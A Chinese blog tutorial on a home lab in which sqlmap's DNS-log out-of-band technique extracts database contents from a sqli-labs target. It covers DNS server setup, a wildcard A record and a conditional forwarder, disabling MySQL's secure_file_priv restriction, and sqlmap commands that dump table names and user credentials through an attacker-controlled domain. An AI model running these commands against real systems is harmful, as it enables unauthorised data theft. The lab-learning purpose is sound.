当前位置:网站首页>sqlmap dolog外带数据
sqlmap dolog外带数据
2022-08-10 01:20:00 【Miracle_ze】
前提准备
实验所用环境:
DNS服务器虚拟机系统:Windows Server 2008R2
Kali版本: 2022.2
Windows系统虚拟机:Windows 11+apache+mysql+php
首先要进行这次实验,我们电脑和虚拟机要带有sqlmap工具。
Windows系统
windows系统使用sqlmap工具官网下载即可,将下载包解压使用命令提示符打开【快捷键:window+R】。到达相应路径使用python语言打开即可。
虚拟机
虚拟机自带sqlmap工具。只需要直接在命令行中输入sqlmap就可以了。
如果版本低了可以输入sqlmap -update
更新版本
如果输入sqlmap -update
没有反应可以尝试参考博客:kali自带的sqlmap更新
在本次实验要使用mysql的读文件函数load_file,为此Load_file函数读mysql 的文件,但是要生效得 secure_file_priv不能是null才可以使用。
原因: 为null就既不能读文件也不能写文件是mysql的安全配置。 要改必须去配置文件修改,因为这里是只读的权限
添加 :
secure_file_priv=“”
local_infile=1
重启mysql服务
一、Kali准备工作【作为攻击机】
kali准备工作这里不写sqlmap更新。因为博主已经更新到目前最新的了
1、修改secure_file_priv
因为前面已经说了这个只有读权限,为此要修改要去配置文件my.cnf
。
文件内添加内容:
2、kali启用数据库,查看状态
查看是否修改了状态
3、查看sqlmap是否可用
成功启动并且版本为1.6.7
二、Windows Server 2008R2 为DNS服务器准备工作【DNS服务器起中转作用,最后回归sqlmap】
1、创建角色
服务器角色
创建服务器为DNS服务器
DNS服务器选择完就可以一直下一步了。
2、新建区域
建立一个主要区域
勾选主要区域
区域名称【输入你想的就可以】
后面一直无脑下一步就创建就成功了
3、新建服务器属性修改
进入WIN-5SSIPA6V1CH属性修改
在高级中查看递归十分禁用,因为我们要使用递归获取数据。【不要勾选禁用递归】
在监视中将两个测试类型勾选。
监视与高级的操作都是保证我们能正常使用递归查询
4、添加A记录
目的:sqlmap
ip地即被解析,由NS服务器解析。即这台服务器,如此这ip地址填写sqlmap地址。
sqlmap地址为kali地址:192.168.171.152
添加IP地址
完成后再创建一个泛解析
最后即两个都解析到了kali上
5、测试是否可以解析
1、kali监听53端口
tcpdump -n port 53
2、配置DNS服务器ip信息和dns信息
3、靶机保证win11的首选DNS与DNS服务器一致
4、本机ping域名8r2.top的子域名
5、看kali是否能收到转发
这能收到因为我们设置的*泛解析,为此对所有的8r2.top的域名都会到192.168.171.153主机解析
6、条件转发器
1、创建条件转发器
2、输入域与IP
DNS域是转发器的,所有你可以随便输入,
IP地址则是触发条件转发器的转发对象,即kali
三、kali注入
1、找寻目标主机
对win11的靶机进行注入,win11的ip地址为:192.168.171.131
2、在主机搭建好环境
在win11上使用phpstudy集成环境搭建WAMP。
目标网站
在win11中修改了文件my.ini的secure_file_priv为非NULL
重启mysql服务,重新读取my.ini
3、kali作为攻击机,攻击win11的目标网站,使用sqlmap dnslog外带数据方式进行攻击
1、得到库
sqlmap -u "192.168.171.131/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "alxy.top" --dbs
-dbs (获取数据库的所有库)
–dns-domain的参数要设置为条件转发器中的域名
sqllabs的库名是security
2、查出表
sqlmap -u "192.168.171.131/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "alxy.top" -D security --tables
–dns-domain的参数要设置为条件转发器中的域名
sqllabs的库名是security
3、查出列
sqlmap -u "192.168.171.131/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "alxy.top" -D security -t users --columns
4、查出列内容
qlmap -u "192.168.171.131/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "alxy.top" -D security -T users -C username,password --dump
四、总结
1、优点
dnslog外带数据注入,相比较于布尔盲注和时间盲注的耗时量来看要快上许多。
即dnslog外带数据能快速完成了sql注入,取得了security.users中的数据
2、注入过程原理及其要点
Kail ,靶机与DNS间传输
1、kali的IP与DNS 一直没有改变
2、DNS配置的IP地址 的DNS与kali 保持一致
3、靶机实际上:解析本地hosts -------本地没有—》DNS解析。
4、访问过程
靶机【win11】 本地无法解析
=》DNS 【因为DNS配置A记录指向了kali】
=》 传输信息给到kali 【kali中的sqlmap将受到的信息进行解析】=》sqlmap解析的数据将其显示,显示的内容放入kali的log,每次解析都会覆盖一次这个log
如此:
靶机 解析8r2.top 到DNS 。DNS的A记录【泛解析:*】中指向kali。
如此kali中sqlmap解析了数据而kali把内容存入日志了。 然后通过–doman [ip,条件解析地址]
在条件转发器下通过DNS获取消息。即触发条件解析地址数据指向Kali的地址。
边栏推荐
- Problems and solutions related to Chinese character set in file operations in ABAP
- 免费文档翻译软件电脑版软件
- 【SSRF漏洞】实战演示 超详细讲解
- 【kali-密码攻击】(5.1.2)密码在线破解:Medusa
- 浏览器中的history详解
- 【wpf】自定义事件总结(Action, EventHandler)
- 夏克-哈特曼波前传感器
- 中英文互译在线翻译-在线翻译软件
- OOD论文:Revisit Overconfidence for OOD Detection
- [LeetCode] Find the sum of the numbers from the root node to the leaf node
猜你喜欢
【机器学习】随机森林、AdaBoost、GBDT、XGBoost从零开始理解
web开发概述
Solidity最强对手:MOVE语言及新公链崛起
跳房子游戏
Maya制作赛博朋克机器人模型
In the 2022 gold, nine, silver and ten work tide, how can I successfully change jobs and get a high salary?
2022金九银十工作潮,怎么样才能成功跳槽面试拿到高薪呢?
【SSRF漏洞】实战演示 超详细讲解
y92.第六章 微服务、服务网格及Envoy实战 -- Envoy基础(三)
unity 报错 Unsafe code may only appear if compiling with /unsafe. Enable “Allow ‘unsafe‘ code“ in Pla
随机推荐
Golang nil的妙用
【机器学习】随机森林、AdaBoost、GBDT、XGBoost从零开始理解
Shader Graph学习各种特效案例
常用正则备查
分析 20 个 veToken 生态系统协议 这种代币模型为何受欢迎?
如何让数据库中的数据同步
【ROS2原理10】Interface数据的规定
【每日一题】1413. 逐步求和得到正数的最小值
[QNX Hypervisor 2.2用户手册]10.14 smmu
GB28181 sip和RTSP(Real-Time Streaming Protocol)实时流控制协议
【UNR #6 C】稳健型选手(分治)(主席树)(二分)
【kali-密码攻击】(5.2.1)密码分析:Hash Identifier(哈希识别)
In the 2022 gold, nine, silver and ten work tide, how can I successfully change jobs and get a high salary?
Maya制作赛博朋克机器人模型
罗彻斯特大学 | 现在是什么序列?蛋白质序列的贝叶斯优化的预训练集成
首次在我们的centos上安装MySQL
el-input保留一位小数点
[Syntax sugar] About the mapping of category strings to category numeric ids
RESOURCE_EXHAUSTED: etcdserver: mvcc: database space exceeded
力扣每日一题-第51天-744. 寻找比目标字母大的最小字母